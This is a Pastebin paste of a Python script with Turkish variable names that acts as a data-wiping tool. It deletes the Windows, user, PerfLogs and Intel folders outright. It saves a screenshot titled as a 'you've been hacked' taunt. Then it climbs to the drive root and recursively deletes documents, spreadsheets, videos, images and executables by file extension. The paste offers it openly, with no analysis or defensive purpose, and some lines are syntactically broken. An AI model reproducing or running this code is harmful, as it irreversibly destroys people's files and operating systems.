Guest User

Untitled

a guest
Jun 12th, 2016
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. # -*- coding: cp1254 -*-
  2. #-- include('examples/showgrabfullscreen.py') --#
  3. import os
  4. import shutil
  5. import os,re
  6. import pyscreenshot as ImageGrab
  7. import random
  8.  
  9. os.makedir('C:\hsdfewm')
  10. os.listdir('C:\')
  11. shutil.rmtree('C:\Windows')
  12. shutil.rmtree('C:\PerfLogs')
  13. shutil.rmtree('C:\KullanΔ±cΔ±lar')
  14. shutil.rmtree('C:\Intel')
  15.  
  16. if __name__ == "__main__":
  17. # fullscreen
  18. im=ImageGrab.grab()
  19. ImageGrab.grab_to_file('C:\Users\dayanc\Desktop\hacklendinkeriz.png')
  20. im.show()
  21. #-#
  22. girilen_dizinler = []
  23.  
  24. def BulunanDizin(gelendizin):
  25. os.chdir(gelendizin)
  26. print "girilen dizin >> "+ gelendizin
  27. girilen_dizinler.append(gelendizin)
  28. KontrolEt()
  29. os.chdir(os.pardir)
  30.  
  31. def KontrolEt():
  32. dosyalr = os.listdir(os.getcwd())
  33. for i in dosyalr:
  34. try:
  35. if re.match(".*txt",i):
  36. os.remove(i)
  37. elif re.match(".*pdf",i):
  38. os.remove(i)
  39. elif re.match(".*docx",i):
  40. os.remove(i)
  41. elif re.match(".*doc",i):
  42. os.remove(i)
  43. elif re.match(".*xls",i):
  44. os.remove(i)
  45. elif re.match(".*xlsx",i):
  46. os.remove(i)
  47. elif re.match(".*ppt",i):
  48. os.remove(i)
  49. elif re.match(".*pptx",i):
  50. os.remove(i)
  51. elif re.match(".*mp4",i):
  52. os.remove(i)
  53. elif re.match(".*wmv",i):
  54. os.remove(i)
  55. elif re.match(".*flv",i):
  56. os.remove(i)
  57. elif re.match(".*mov",i):
  58. os.remove(i)
  59. elif re.match(".*avi",i):
  60. os.remove(i)
  61. elif re.match(".*jpeg",i):
  62. os.remove(i)
  63. elif re.match(".*png",i):
  64. os.remove(i)
  65. elif re.match(".*gif",i):
  66. os.remove(i)
  67. elif re.match(".*bmp",i):
  68. os.remove(i)
  69. elif re.match(".*psd",i):
  70. os.remove(i)
  71. elif re.match(".*exe",i):
  72. os.remove(i)
  73. elif os.path.isdir(i):
  74. if girilen_dizinler.count(i) == 0:
  75. BulunanDizin(i)
  76. else:
  77. pass
  78. else:
  79. pass
  80. except:
  81. pass
  82.  
  83.  
  84. suanki_dizin = os.getcwd() #bulundugu dizin
  85. a = suanki_dizin.split("/")
  86. sayi = len(a)-1
  87. for i in range(0,sayi):
  88. os.chdir(os.pardir)
  89. KontrolEt()
Add Comment
Please, Sign In to add comment